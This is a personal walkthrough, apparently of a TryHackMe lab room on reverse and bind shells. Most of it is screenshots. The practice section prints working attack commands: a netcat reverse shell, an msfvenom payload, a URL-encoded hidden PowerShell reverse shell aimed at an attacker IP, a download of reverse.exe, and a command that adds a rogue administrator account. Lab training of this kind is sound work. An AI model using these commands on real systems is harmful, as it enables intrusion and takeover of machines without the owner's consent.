---
description: February 07, 2024
---

# What the shell?

Task 1: What is a shell?

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FyCclgjTDD6B869TMFxpY%2Fimage.png?alt=media&#x26;token=01e3d73a-a2ed-400c-9810-2f63be4a1460" alt=""><figcaption></figcaption></figure>

Task 2: Tools

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FJ9QTbOAT07zRwbB5lcmR%2Fimage.png?alt=media&#x26;token=d2327b44-da6f-4a08-a544-da3c807c9208" alt=""><figcaption></figcaption></figure>

Task 3: Types of shell

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMg6TlyuCEiwPFNcmOS5y%2Fimage.png?alt=media&#x26;token=25fd9197-28bc-4f8d-bb42-6d46eeff3fca" alt=""><figcaption></figcaption></figure>

Task 4: Netcat

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHG9GzRPOzp4BDRVmssPF%2Fimage.png?alt=media&#x26;token=e72481a4-93cf-4949-9f95-dd835a140d6b" alt=""><figcaption></figcaption></figure>

Task 5: Netcat Shell Stabilisation

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FtSHkZmPNo6hMIKRlgWg8%2Fimage.png?alt=media&#x26;token=611255f4-b9a1-4b8b-b036-2183afadd6a6" alt=""><figcaption></figcaption></figure>

Task 6: Socat

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FOxIhrt9X5XGlP1DYfQGn%2Fimage.png?alt=media&#x26;token=65951a7e-988b-4bb2-812f-9d1b89c18908" alt=""><figcaption></figcaption></figure>

Task 7: Socat Encrypted Shells

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FpAAWFqW0VevQCj9ICXfq%2Fimage.png?alt=media&#x26;token=a6515bbc-adef-42b3-806b-f74e8b9d1738" alt=""><figcaption></figcaption></figure>

Task 8: Common Shell Payloads

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F381BMyWQy8MhdOkqQxtt%2Fimage.png?alt=media&#x26;token=417a87f2-4863-422a-b8f2-a6cfbc8d85cf" alt=""><figcaption></figcaption></figure>

Task 9: mfsvenom

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F4nkHt98JcT7ZkzKotjl8%2Fimage.png?alt=media&#x26;token=5c2782b8-5291-4432-a79d-28118f7c4c23" alt=""><figcaption></figcaption></figure>

Task 10: Metasploit multi/handler

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FPm0UCl6VOYZeN5e7Bvnu%2Fimage.png?alt=media&#x26;token=2094de2b-159c-4c13-8836-9294a28bec09" alt=""><figcaption></figcaption></figure>

Task 11: WebShells

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FJ2FOr0kNc8Q5kQpioiFE%2Fimage.png?alt=media&#x26;token=920b8711-c54d-4e02-86f0-92f09c393066" alt=""><figcaption></figcaption></figure>

Task 12: Next Steps

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FDkD0fNKzIDAZqnbEV0xJ%2Fimage.png?alt=media&#x26;token=d205a53f-de32-43db-8822-fba9575e2fbc" alt=""><figcaption></figcaption></figure>

Task 13: Practice and Examples

\
Try uploading a webshell to the Linux box, then use the command: `nc <LOCAL-IP> <PORT> -e /bin/bash` to send a reverse shell back to a waiting listener on your own machine.\
Navigate to `/usr/share/webshells/php/php-reverse-shell.php` in Kali and change the IP and port to match your tun0 IP with a custom port. Set up a netcat listener, then upload and activate the shell.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FqSVI91cfNGQUWorOeVDJ%2Fimage.png?alt=media&#x26;token=02db364c-20d0-4a3e-a173-eccb165c2b04" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FXIjIEkfoy3hkXwOCPdPj%2Fimage.png?alt=media&#x26;token=ef377081-143c-4b21-81f7-ce63e498160f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHhvatTiRYgLioRWBm3ow%2Fimage.png?alt=media&#x26;token=f1b5f0ca-1edd-4de1-8153-f6b9871c1b4a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fte1DD3ZNmrQZjb3V2cWo%2Fimage.png?alt=media&#x26;token=74aaf2f7-0309-4b6d-bd88-af55d48cb26e" alt=""><figcaption></figcaption></figure>

Log into the Linux machine over SSH using the credentials in task 14. Use the techniques in Task 8 to experiment with bind and reverse netcat shells.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FBlzArMgJ99BJjPkRhaE9%2Fimage.png?alt=media&#x26;token=84672f14-51b6-4762-8ce5-08fea3183385" alt=""><figcaption></figcaption></figure>

```
msfvenom -p cmd/unix/reverse_netcat lhost=10.9.193.229 lport=4444 R
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FkvdTtG3EpB4NjEJGw2LX%2Fimage.png?alt=media&#x26;token=de6397fb-525f-48a3-9316-1bdb05fde7c3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FpDEz2vj817YDgFarW2sq%2Fimage.png?alt=media&#x26;token=257c1e96-afd5-4123-a2a6-21c011cef537" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FNS2ruKpNiqVVIMQ0tJkB%2Fimage.png?alt=media&#x26;token=46c35ad2-9d9c-437e-b094-7f6b6109cb33" alt=""><figcaption></figcaption></figure>

ORRRRRRRRRRRRRRRRRRRRRR

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fh4F2KabVluv5anqu1JZy%2Fimage.png?alt=media&#x26;token=36312a21-f012-4334-95c2-1234be3a760f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FcSBBPqlcH8258pDDwDan%2Fimage.png?alt=media&#x26;token=8073cdc6-ec3e-4026-8c47-2347c5bcfcb9" alt=""><figcaption></figcaption></figure>

Practice reverse and bind shells using Socat on the Linux machine. Try both the normal and special techniques.

* Use a listener to the victim's machine and use exec command

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FRWsVy0W9SINRNpwXQolk%2Fimage.png?alt=media&#x26;token=68f9c8b8-7f0b-435b-a2d8-0a616368aa66" alt=""><figcaption></figcaption></figure>

* Connect to the victime machine using socat and specify the port&#x20;

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FNPvclbq7FsoUqDxhmtQK%2Fimage.png?alt=media&#x26;token=02ff1181-8a2f-415f-b53a-712f2846bbe9" alt=""><figcaption></figcaption></figure>

Look through [Payloads all the Things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) and try some of the other reverse shell techniques. Try to analyse them and see _why_ they work.

* First python reverse shell

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FBhN5bJhqRrjsNfENmium%2Fimage.png?alt=media&#x26;token=613fece1-9eb0-46e6-a772-9f9b10e4f524" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F8ywZBodSF7pPPw74W9pG%2Fimage.png?alt=media&#x26;token=d38bf906-6975-49ba-ad0f-118075da405d" alt=""><figcaption></figcaption></figure>

* Second bash reverse shell

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FZDJsuSaDL81HdwMu8eVg%2Fimage.png?alt=media&#x26;token=dae162dc-3fd2-4aac-94e4-17b9b2b7e53e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F1WBf3fGQNDrtk10h5vON%2Fimage.png?alt=media&#x26;token=feefa943-faa2-4a39-8773-3ef15edc66e5" alt=""><figcaption></figcaption></figure>

* Third perl reverse shell

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FY5g8xjJOXwws2dwmjBnE%2Fimage.png?alt=media&#x26;token=cb886213-036e-49d4-9358-18e879f0acd6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FXyw6uNKecrsLmRuaUx7n%2Fimage.png?alt=media&#x26;token=82d43500-b778-456d-8e97-47f2a30665e3" alt=""><figcaption></figcaption></figure>

\
Switch to the Windows VM. Try uploading and activating the `php-reverse-shell`. Does this work?

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FYX9vqmyl7tGJQUSDglx1%2Fimage.png?alt=media&#x26;token=071a7d36-579b-4228-beac-323526a509f4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FNCIrvBM7t1MrofTppC5V%2Fimage.png?alt=media&#x26;token=b978752e-bb5c-4c62-b358-3282f4872554" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMk88VfnLQPgr7L64TkTI%2Fimage.png?alt=media&#x26;token=d3f00be2-f640-442b-bbf8-0621d8dc4115" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F0ek4LnMXV6DL3kGkgstU%2Fimage.png?alt=media&#x26;token=776adda4-7ad0-4498-983b-e90aab384565" alt=""><figcaption></figcaption></figure>

* Powershell reverse shell

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FG8KDDYXFhui8ShgrocaL%2Fimage.png?alt=media&#x26;token=b8f214cc-a7bc-4e28-8129-9fe11f4f83ef" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fzh9HDuCDPja8FJPWgMlH%2Fimage.png?alt=media&#x26;token=a94764e8-837c-4ffb-bc11-f619937eac02" alt=""><figcaption></figcaption></figure>

* Webshell php reverse shell

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FtiWODanDqc4B72CUqk89%2Fimage.png?alt=media&#x26;token=c5c1a6f3-ca89-49f8-9145-6b6817c08538" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FwZ0cyhGY2joNtqJdKiIG%2Fimage.png?alt=media&#x26;token=12185214-97b4-449d-b17b-0c338e648305" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FsqeZP5l7mvN7RGmwkvoC%2Fimage.png?alt=media&#x26;token=1837aa99-a9f6-4ccd-bc56-e854c383904f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FhZoZEbagbwKZFbYvwBuz%2Fimage.png?alt=media&#x26;token=1e51a3b1-a4c2-40b9-a45c-8328c8f28962" alt=""><figcaption></figcaption></figure>

Put this code into url

```
powershell%20-nop%20-W%20hidden%20-noni%20-ep%20bypass%20-c%20%22%24TCPClient%20%3D%20New-Object%20Net.Sockets.TCPClient%28%2710.9.193.229%27%2C%204444%29%3B%24NetworkStream%20%3D%20%24TCPClient.GetStream%28%29%3B%24StreamWriter%20%3D%20New-Object%20IO.StreamWriter%28%24NetworkStream%29%3Bfunction%20WriteToStream%20%28%24String%29%20%7B%5Bbyte%5B%5D%5D%24script%3ABuffer%20%3D%200..%24TCPClient.ReceiveBufferSize%20%7C%20%25%20%7B0%7D%3B%24StreamWriter.Write%28%24String%20%2B%20%27SHELL%3E%20%27%29%3B%24StreamWriter.Flush%28%29%7DWriteToStream%20%27%27%3Bwhile%28%28%24BytesRead%20%3D%20%24NetworkStream.Read%28%24Buffer%2C%200%2C%20%24Buffer.Length%29%29%20-gt%200%29%20%7B%24Command%20%3D%20%28%5Btext.encoding%5D%3A%3AUTF8%29.GetString%28%24Buffer%2C%200%2C%20%24BytesRead%20-%201%29%3B%24Output%20%3D%20try%20%7BInvoke-Expression%20%24Command%202%3E%261%20%7C%20Out-String%7D%20catch%20%7B%24_%20%7C%20Out-String%7DWriteToStream%20%28%24Output%29%7D%24StreamWriter.Close%28%29%22
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FZBnODLowugOhMs7ULbib%2Fimage.png?alt=media&#x26;token=c8bd0d4a-c6e1-4fdf-8330-d74eb5071784" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FAL1cs8V6XF1BIFoXVWwr%2Fimage.png?alt=media&#x26;token=c4104ae4-d7d9-4b9a-8efb-cca57af0fe1c" alt=""><figcaption></figcaption></figure>

Kahit idelete file basta nasa loob na tapos need lang ma end task ng admin sa task manager para mawala

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHvF5rt80JwmITmqwGqSU%2Fimage.png?alt=media&#x26;token=2bc6a254-8f93-450c-b479-77412c719644" alt=""><figcaption></figcaption></figure>

The webserver is running with SYSTEM privileges. Create a new user and add it to the "administrators" group, then login over RDP or WinRM.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F8l9nq1uZftGGe9fLPBOG%2Fimage.png?alt=media&#x26;token=aa29692e-2b74-4d77-a732-3015d049d789" alt=""><figcaption></figcaption></figure>



<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FnrGvjJ1beFtRbk7PH6hF%2Fimage.png?alt=media&#x26;token=40d4df84-6867-4924-b17f-385141dd798e" alt=""><figcaption></figcaption></figure>

```powershell
powershell%20-command%20%22%24username%20%3D%20%27kyou22%27%3B%20%24password%20%3D%20ConvertTo-SecureString%20%27YourPassword%27%20-AsPlainText%20-Force%3B%20New-LocalUser%20-Name%20%24username%20-Password%20%24password%20-FullName%20%27kyou22%27%20-Description%20%27Description%20of%20the%20new%20user%27%3B%20Add-LocalGroupMember%20-Group%20%27Administrators%27%20-Member%20%24username%22%0A
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FB9RNdhe5tW5xXJcHWMlT%2Fimage.png?alt=media&#x26;token=ecfa2ee6-1fbf-4b1d-bb5b-8e33bcd7bcf9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FUWd2dR72nIfUJxoEBNVm%2Fimage.png?alt=media&#x26;token=c0d0f9d4-499b-4108-9bf6-10af5b1b4202" alt=""><figcaption></figcaption></figure>

Create a 64bit Windows Meterpreter shell using msfvenom and upload it to the Windows Target. Activate the shell and catch it with multi/handler. Experiment with the features of this shell.

\
Create both staged and stageless meterpreter shells for either target. Upload and manually activate them, catching the shell with _netcat_ -- does this work?

* STAGELESS REVERSE SHELL

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FBXGFYCLsG47aTiGi8dfK%2Fimage.png?alt=media&#x26;token=d378d75d-a734-42d1-a789-ed7da0fa379d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FXXjfjBgKHGaEPCYvBEPX%2Fimage.png?alt=media&#x26;token=8dfa686a-1ae2-46f3-b84f-95995a8a3e5a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FtilsXPGcgkfvEf0C44dS%2Fimage.png?alt=media&#x26;token=77d57b09-a078-4ab8-9df3-e45c97ad69da" alt=""><figcaption></figcaption></figure>

```
Invoke-WebRequest -Uri http://10.9.193.229:8000/reverse.exe -OutFile reverse.exe
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FFRcdgvsR2N8D3nULHTSw%2Fimage.png?alt=media&#x26;token=bbc7a0a7-1ccd-4da1-956d-8c62b93e011d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F409VxeTfLJWZrHALgUFi%2Fimage.png?alt=media&#x26;token=799c458e-71fa-4758-ace4-a618b78a47bc" alt=""><figcaption></figcaption></figure>

